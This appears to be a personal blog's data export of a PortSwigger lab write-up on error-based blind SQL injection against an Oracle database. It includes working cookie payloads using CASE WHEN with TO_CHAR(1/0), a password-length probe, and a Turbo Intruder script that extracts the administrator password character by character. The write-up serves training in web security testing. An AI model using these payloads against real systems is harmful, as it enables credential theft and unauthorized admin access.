[{"data":1,"prerenderedAt":749},["ShallowReactive",2],{"search":3,"recent-machines":40,"machine-\u002Fmachines\u002Fps-blind-sqli-conditional-errors":49},[4,8,12,16,20,24,28,32,36],{"_path":5,"title":6,"image":7},"\u002Fmachines\u002Fhtb-boardlight","BoardLight","\u002Fimg\u002Fmachines\u002Fhtb-boardlight\u002Fcover.png",{"_path":9,"title":10,"image":11},"\u002Fmachines\u002Fhtb-headless","Headless","\u002Fimg\u002Fmachines\u002Fhtb-headless\u002Fcover.png",{"_path":13,"title":14,"image":15},"\u002Fmachines\u002Fhtb-usage","Usage","\u002Fimg\u002Fmachines\u002Fhtb-usage\u002Fcover.png",{"_path":17,"title":18,"image":19},"\u002Fmachines\u002Fps-blind-sqli-conditional-errors","Blind SQL Injection with Conditional Errors","\u002Fimg\u002Fmachines\u002Fps-blind-sqli-conditional-errors\u002Fcover.jpg",{"_path":21,"title":22,"image":23},"\u002Fmachines\u002Fps-blind-sqli-conditional-responses","Blind SQL Injection with Conditional Responses","\u002Fimg\u002Fmachines\u002Fps-blind-sqli-conditional-responses\u002Fcover.jpg",{"_path":25,"title":26,"image":27},"\u002Fmachines\u002Fthm-containment","ContAInment","\u002Fimg\u002Fmachines\u002Fthm-containment\u002Fcover.png",{"_path":29,"title":30,"image":31},"\u002Fprojects\u002Fejpt-certification","eJPT — Junior Penetration Tester","\u002Fimg\u002Fprojects\u002Fejpt\u002Fcover.svg",{"_path":33,"title":34,"image":35},"\u002Fprojects\u002Fmaddox","Maddox","\u002Fimg\u002Fprojects\u002Fmaddox\u002Fcover.png",{"_path":37,"title":38,"image":39},"\u002Fprojects\u002Fsentinel","Sentinel Password Manager","\u002Fimg\u002Fprojects\u002Fsentinel\u002Fcover.png",[41,43,44,46,48],{"_path":17,"title":18,"difficulty":42},"Practitioner",{"_path":21,"title":22,"difficulty":42},{"_path":25,"title":26,"difficulty":45},"Medium",{"_path":13,"title":14,"difficulty":47},"Easy",{"_path":9,"title":10,"difficulty":47},{"_path":17,"_dir":50,"_draft":51,"_partial":51,"_locale":52,"title":18,"description":53,"difficulty":42,"platform":54,"os":55,"date":56,"image":19,"tags":57,"body":61,"_type":743,"_id":744,"_source":745,"_file":746,"_stem":747,"_extension":748},"machines",false,"","Practitioner-level PortSwigger lab exploiting error-based blind SQL injection on Oracle DB via the TrackingId cookie to extract the administrator password","PortSwigger","Web","2026-08-29",[54,55,42,58,59,60],"SQLi","Blind SQLi","Oracle",{"type":62,"children":63,"toc":736},"root",[64,73,88,133,145,151,171,179,218,235,243,257,281,289,303,327,332,364,370,383,397,441,453,459,488,516,530,535,667,686,692,720,730],{"type":65,"tag":66,"props":67,"children":69},"element","h2",{"id":68},"scenario-analysis",[70],{"type":71,"value":72},"text","Scenario Analysis",{"type":65,"tag":74,"props":75,"children":76},"p",{},[77,79,86],{"type":71,"value":78},"Same idea as other blind SQLi labs — the ",{"type":65,"tag":80,"props":81,"children":83},"code",{"className":82},[],[84],{"type":71,"value":85},"TrackingId",{"type":71,"value":87}," cookie goes straight into a SQL query. But this time the behavior is different:",{"type":65,"tag":89,"props":90,"children":91},"ul",{},[92,106],{"type":65,"tag":93,"props":94,"children":95},"li",{},[96,98,104],{"type":71,"value":97},"The application doesn't show any visual difference based on query results. No ",{"type":65,"tag":80,"props":99,"children":101},{"className":100},[],[102],{"type":71,"value":103},"Welcome back",{"type":71,"value":105}," text, nothing.",{"type":65,"tag":93,"props":107,"children":108},{},[109,111,117,119,124,126,131],{"type":71,"value":110},"Instead, if my injection triggers an ",{"type":65,"tag":112,"props":113,"children":114},"strong",{},[115],{"type":71,"value":116},"unhandled database error",{"type":71,"value":118},", the server responds with ",{"type":65,"tag":112,"props":120,"children":121},{},[122],{"type":71,"value":123},"HTTP 500",{"type":71,"value":125},". If the query is valid, it returns ",{"type":65,"tag":112,"props":127,"children":128},{},[129],{"type":71,"value":130},"HTTP 200",{"type":71,"value":132}," regardless.",{"type":65,"tag":74,"props":134,"children":135},{},[136,138,143],{"type":71,"value":137},"So the oracle here is the HTTP status code itself. I also suspected this was an ",{"type":65,"tag":112,"props":139,"children":140},{},[141],{"type":71,"value":142},"Oracle database",{"type":71,"value":144}," based on the error behavior, and I confirmed it with a quick test.",{"type":65,"tag":66,"props":146,"children":148},{"id":147},"confirming-the-vulnerability",[149],{"type":71,"value":150},"Confirming the Vulnerability",{"type":65,"tag":74,"props":152,"children":153},{},[154,156,162,164,169],{"type":71,"value":155},"I intercepted a request to ",{"type":65,"tag":80,"props":157,"children":159},{"className":158},[],[160],{"type":71,"value":161},"\u002F",{"type":71,"value":163}," and started testing in ",{"type":65,"tag":112,"props":165,"children":166},{},[167],{"type":71,"value":168},"Repeater",{"type":71,"value":170},".",{"type":65,"tag":74,"props":172,"children":173},{},[174],{"type":65,"tag":112,"props":175,"children":176},{},[177],{"type":71,"value":178},"Validating Oracle syntax:",{"type":65,"tag":180,"props":181,"children":185},"pre",{"className":182,"code":183,"language":184,"meta":52,"style":52},"language-http shiki shiki-themes github-dark","GET \u002F HTTP\u002F2\nHost: YOUR-LAB-ID.web-security-academy.net\nCookie: TrackingId=ORIGINAL_ID'||(SELECT '' FROM dual)||'; session=YOUR_SESSION\n","http",[186],{"type":65,"tag":80,"props":187,"children":188},{"__ignoreMap":52},[189,200,209],{"type":65,"tag":190,"props":191,"children":194},"span",{"class":192,"line":193},"line",1,[195],{"type":65,"tag":190,"props":196,"children":197},{},[198],{"type":71,"value":199},"GET \u002F HTTP\u002F2\n",{"type":65,"tag":190,"props":201,"children":203},{"class":192,"line":202},2,[204],{"type":65,"tag":190,"props":205,"children":206},{},[207],{"type":71,"value":208},"Host: YOUR-LAB-ID.web-security-academy.net\n",{"type":65,"tag":190,"props":210,"children":212},{"class":192,"line":211},3,[213],{"type":65,"tag":190,"props":214,"children":215},{},[216],{"type":71,"value":217},"Cookie: TrackingId=ORIGINAL_ID'||(SELECT '' FROM dual)||'; session=YOUR_SESSION\n",{"type":65,"tag":74,"props":219,"children":220},{},[221,225,227,233],{"type":65,"tag":112,"props":222,"children":223},{},[224],{"type":71,"value":130},{"type":71,"value":226}," — the ",{"type":65,"tag":80,"props":228,"children":230},{"className":229},[],[231],{"type":71,"value":232},"dual",{"type":71,"value":234}," table works, confirming it's Oracle.",{"type":65,"tag":74,"props":236,"children":237},{},[238],{"type":65,"tag":112,"props":239,"children":240},{},[241],{"type":71,"value":242},"False condition (no error):",{"type":65,"tag":180,"props":244,"children":246},{"className":182,"code":245,"language":184,"meta":52,"style":52},"Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1\u002F0) ELSE '' END FROM dual)||'; session=YOUR_SESSION\n",[247],{"type":65,"tag":80,"props":248,"children":249},{"__ignoreMap":52},[250],{"type":65,"tag":190,"props":251,"children":252},{"class":192,"line":193},[253],{"type":65,"tag":190,"props":254,"children":255},{},[256],{"type":71,"value":245},{"type":65,"tag":74,"props":258,"children":259},{},[260,264,265,271,273,279],{"type":65,"tag":112,"props":261,"children":262},{},[263],{"type":71,"value":130},{"type":71,"value":226},{"type":65,"tag":80,"props":266,"children":268},{"className":267},[],[269],{"type":71,"value":270},"1=2",{"type":71,"value":272}," condition is false, so ",{"type":65,"tag":80,"props":274,"children":276},{"className":275},[],[277],{"type":71,"value":278},"TO_CHAR(1\u002F0)",{"type":71,"value":280}," never executes and there's no error.",{"type":65,"tag":74,"props":282,"children":283},{},[284],{"type":65,"tag":112,"props":285,"children":286},{},[287],{"type":71,"value":288},"True condition (triggers error):",{"type":65,"tag":180,"props":290,"children":292},{"className":182,"code":291,"language":184,"meta":52,"style":52},"Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1\u002F0) ELSE '' END FROM dual)||'; session=YOUR_SESSION\n",[293],{"type":65,"tag":80,"props":294,"children":295},{"__ignoreMap":52},[296],{"type":65,"tag":190,"props":297,"children":298},{"class":192,"line":193},[299],{"type":65,"tag":190,"props":300,"children":301},{},[302],{"type":71,"value":291},{"type":65,"tag":74,"props":304,"children":305},{},[306,310,311,317,319,325],{"type":65,"tag":112,"props":307,"children":308},{},[309],{"type":71,"value":123},{"type":71,"value":226},{"type":65,"tag":80,"props":312,"children":314},{"className":313},[],[315],{"type":71,"value":316},"1=1",{"type":71,"value":318}," condition is true, so it tries to evaluate ",{"type":65,"tag":80,"props":320,"children":322},{"className":321},[],[323],{"type":71,"value":324},"1\u002F0",{"type":71,"value":326},", which crashes with a division-by-zero error.",{"type":65,"tag":74,"props":328,"children":329},{},[330],{"type":71,"value":331},"So the rule is simple:",{"type":65,"tag":89,"props":333,"children":334},{},[335,350],{"type":65,"tag":93,"props":336,"children":337},{},[338,343,345],{"type":65,"tag":112,"props":339,"children":340},{},[341],{"type":71,"value":342},"500",{"type":71,"value":344}," = my condition is ",{"type":65,"tag":112,"props":346,"children":347},{},[348],{"type":71,"value":349},"TRUE",{"type":65,"tag":93,"props":351,"children":352},{},[353,358,359],{"type":65,"tag":112,"props":354,"children":355},{},[356],{"type":71,"value":357},"200",{"type":71,"value":344},{"type":65,"tag":112,"props":360,"children":361},{},[362],{"type":71,"value":363},"FALSE",{"type":65,"tag":66,"props":365,"children":367},{"id":366},"determining-password-length",[368],{"type":71,"value":369},"Determining Password Length",{"type":65,"tag":74,"props":371,"children":372},{},[373,375,381],{"type":71,"value":374},"I injected the length check inside the ",{"type":65,"tag":80,"props":376,"children":378},{"className":377},[],[379],{"type":71,"value":380},"CASE WHEN",{"type":71,"value":382},":",{"type":65,"tag":180,"props":384,"children":386},{"className":182,"code":385,"language":184,"meta":52,"style":52},"Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (LENGTH(password)=1) THEN TO_CHAR(1\u002F0) ELSE '' END FROM users WHERE username='administrator')||'; session=YOUR_SESSION\n",[387],{"type":65,"tag":80,"props":388,"children":389},{"__ignoreMap":52},[390],{"type":65,"tag":190,"props":391,"children":392},{"class":192,"line":193},[393],{"type":65,"tag":190,"props":394,"children":395},{},[396],{"type":71,"value":385},{"type":65,"tag":74,"props":398,"children":399},{},[400,402,408,410,416,417,423,425,434,436,440],{"type":71,"value":401},"I went through ",{"type":65,"tag":80,"props":403,"children":405},{"className":404},[],[406],{"type":71,"value":407},"=1",{"type":71,"value":409},", ",{"type":65,"tag":80,"props":411,"children":413},{"className":412},[],[414],{"type":71,"value":415},"=2",{"type":71,"value":409},{"type":65,"tag":80,"props":418,"children":420},{"className":419},[],[421],{"type":71,"value":422},"=3",{"type":71,"value":424},"... and at ",{"type":65,"tag":112,"props":426,"children":427},{},[428],{"type":65,"tag":80,"props":429,"children":431},{"className":430},[],[432],{"type":71,"value":433},"20",{"type":71,"value":435}," the server returned ",{"type":65,"tag":112,"props":437,"children":438},{},[439],{"type":71,"value":123},{"type":71,"value":170},{"type":65,"tag":74,"props":442,"children":443},{},[444,446,451],{"type":71,"value":445},"The password is exactly ",{"type":65,"tag":112,"props":447,"children":448},{},[449],{"type":71,"value":450},"20 characters",{"type":71,"value":452}," long.",{"type":65,"tag":66,"props":454,"children":456},{"id":455},"extracting-the-password-with-turbo-intruder",[457],{"type":71,"value":458},"Extracting the Password with Turbo Intruder",{"type":65,"tag":74,"props":460,"children":461},{},[462,464,468,470,475,476,481,482,487],{"type":71,"value":463},"I right-clicked the request in ",{"type":65,"tag":112,"props":465,"children":466},{},[467],{"type":71,"value":168},{"type":71,"value":469}," → ",{"type":65,"tag":112,"props":471,"children":472},{},[473],{"type":71,"value":474},"Extensions",{"type":71,"value":469},{"type":65,"tag":112,"props":477,"children":478},{},[479],{"type":71,"value":480},"Turbo Intruder",{"type":71,"value":469},{"type":65,"tag":112,"props":483,"children":484},{},[485],{"type":71,"value":486},"Send to Turbo Intruder",{"type":71,"value":170},{"type":65,"tag":74,"props":489,"children":490},{},[491,493,499,501,507,509,515],{"type":71,"value":492},"In the upper window I set up the template with ",{"type":65,"tag":80,"props":494,"children":496},{"className":495},[],[497],{"type":71,"value":498},"%s",{"type":71,"value":500}," for position and character. Note that Oracle uses ",{"type":65,"tag":80,"props":502,"children":504},{"className":503},[],[505],{"type":71,"value":506},"SUBSTR",{"type":71,"value":508}," instead of ",{"type":65,"tag":80,"props":510,"children":512},{"className":511},[],[513],{"type":71,"value":514},"SUBSTRING",{"type":71,"value":382},{"type":65,"tag":180,"props":517,"children":519},{"className":182,"code":518,"language":184,"meta":52,"style":52},"Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (SUBSTR(password,%s,1)='%s') THEN TO_CHAR(1\u002F0) ELSE '' END FROM users WHERE username='administrator')||'; session=YOUR_SESSION\n",[520],{"type":65,"tag":80,"props":521,"children":522},{"__ignoreMap":52},[523],{"type":65,"tag":190,"props":524,"children":525},{"class":192,"line":193},[526],{"type":65,"tag":190,"props":527,"children":528},{},[529],{"type":71,"value":518},{"type":65,"tag":74,"props":531,"children":532},{},[533],{"type":71,"value":534},"In the lower window, I pasted this script:",{"type":65,"tag":180,"props":536,"children":540},{"className":537,"code":538,"language":539,"meta":52,"style":52},"language-python shiki shiki-themes github-dark","def queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=2,\n                           requestsPerConnection=1,\n                           pipeline=False)\n\n    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'\n    for pos in range(1, 21):\n        for char in chars:\n            engine.queue(target.req, [str(pos), char])\n\ndef handleResponse(req, interesting):\n    if req.status == 500:\n        table.add(req)\n","python",[541],{"type":65,"tag":80,"props":542,"children":543},{"__ignoreMap":52},[544,552,560,568,577,586,596,605,614,623,632,640,649,658],{"type":65,"tag":190,"props":545,"children":546},{"class":192,"line":193},[547],{"type":65,"tag":190,"props":548,"children":549},{},[550],{"type":71,"value":551},"def queueRequests(target, wordlists):\n",{"type":65,"tag":190,"props":553,"children":554},{"class":192,"line":202},[555],{"type":65,"tag":190,"props":556,"children":557},{},[558],{"type":71,"value":559},"    engine = RequestEngine(endpoint=target.endpoint,\n",{"type":65,"tag":190,"props":561,"children":562},{"class":192,"line":211},[563],{"type":65,"tag":190,"props":564,"children":565},{},[566],{"type":71,"value":567},"                           concurrentConnections=2,\n",{"type":65,"tag":190,"props":569,"children":571},{"class":192,"line":570},4,[572],{"type":65,"tag":190,"props":573,"children":574},{},[575],{"type":71,"value":576},"                           requestsPerConnection=1,\n",{"type":65,"tag":190,"props":578,"children":580},{"class":192,"line":579},5,[581],{"type":65,"tag":190,"props":582,"children":583},{},[584],{"type":71,"value":585},"                           pipeline=False)\n",{"type":65,"tag":190,"props":587,"children":589},{"class":192,"line":588},6,[590],{"type":65,"tag":190,"props":591,"children":593},{"emptyLinePlaceholder":592},true,[594],{"type":71,"value":595},"\n",{"type":65,"tag":190,"props":597,"children":599},{"class":192,"line":598},7,[600],{"type":65,"tag":190,"props":601,"children":602},{},[603],{"type":71,"value":604},"    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'\n",{"type":65,"tag":190,"props":606,"children":608},{"class":192,"line":607},8,[609],{"type":65,"tag":190,"props":610,"children":611},{},[612],{"type":71,"value":613},"    for pos in range(1, 21):\n",{"type":65,"tag":190,"props":615,"children":617},{"class":192,"line":616},9,[618],{"type":65,"tag":190,"props":619,"children":620},{},[621],{"type":71,"value":622},"        for char in chars:\n",{"type":65,"tag":190,"props":624,"children":626},{"class":192,"line":625},10,[627],{"type":65,"tag":190,"props":628,"children":629},{},[630],{"type":71,"value":631},"            engine.queue(target.req, [str(pos), char])\n",{"type":65,"tag":190,"props":633,"children":635},{"class":192,"line":634},11,[636],{"type":65,"tag":190,"props":637,"children":638},{"emptyLinePlaceholder":592},[639],{"type":71,"value":595},{"type":65,"tag":190,"props":641,"children":643},{"class":192,"line":642},12,[644],{"type":65,"tag":190,"props":645,"children":646},{},[647],{"type":71,"value":648},"def handleResponse(req, interesting):\n",{"type":65,"tag":190,"props":650,"children":652},{"class":192,"line":651},13,[653],{"type":65,"tag":190,"props":654,"children":655},{},[656],{"type":71,"value":657},"    if req.status == 500:\n",{"type":65,"tag":190,"props":659,"children":661},{"class":192,"line":660},14,[662],{"type":65,"tag":190,"props":663,"children":664},{},[665],{"type":71,"value":666},"        table.add(req)\n",{"type":65,"tag":74,"props":668,"children":669},{},[670,672,677,679,684],{"type":71,"value":671},"I clicked ",{"type":65,"tag":112,"props":673,"children":674},{},[675],{"type":71,"value":676},"Launch attack",{"type":71,"value":678},". The table showed exactly 20 requests with status ",{"type":65,"tag":80,"props":680,"children":682},{"className":681},[],[683],{"type":71,"value":342},{"type":71,"value":685}," — each one revealing the correct character for that position.",{"type":65,"tag":66,"props":687,"children":689},{"id":688},"authentication",[690],{"type":71,"value":691},"Authentication",{"type":65,"tag":74,"props":693,"children":694},{},[695,697,702,704,710,712,718],{"type":71,"value":696},"I concatenated the 20 characters in order, went to ",{"type":65,"tag":112,"props":698,"children":699},{},[700],{"type":71,"value":701},"My account",{"type":71,"value":703}," (",{"type":65,"tag":80,"props":705,"children":707},{"className":706},[],[708],{"type":71,"value":709},"\u002Flogin",{"type":71,"value":711},"), logged in as ",{"type":65,"tag":80,"props":713,"children":715},{"className":714},[],[716],{"type":71,"value":717},"administrator",{"type":71,"value":719}," with the recovered password, and that was it.",{"type":65,"tag":74,"props":721,"children":722},{},[723,728],{"type":65,"tag":112,"props":724,"children":725},{},[726],{"type":71,"value":727},"Lab solved!",{"type":71,"value":729}," 🏴",{"type":65,"tag":731,"props":732,"children":733},"style",{},[734],{"type":71,"value":735},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":52,"searchDepth":202,"depth":202,"links":737},[738,739,740,741,742],{"id":68,"depth":202,"text":72},{"id":147,"depth":202,"text":150},{"id":366,"depth":202,"text":369},{"id":455,"depth":202,"text":458},{"id":688,"depth":202,"text":691},"markdown","content:machines:ps-blind-sqli-conditional-errors.md","content","machines\u002Fps-blind-sqli-conditional-errors.md","machines\u002Fps-blind-sqli-conditional-errors","md",1788033908243]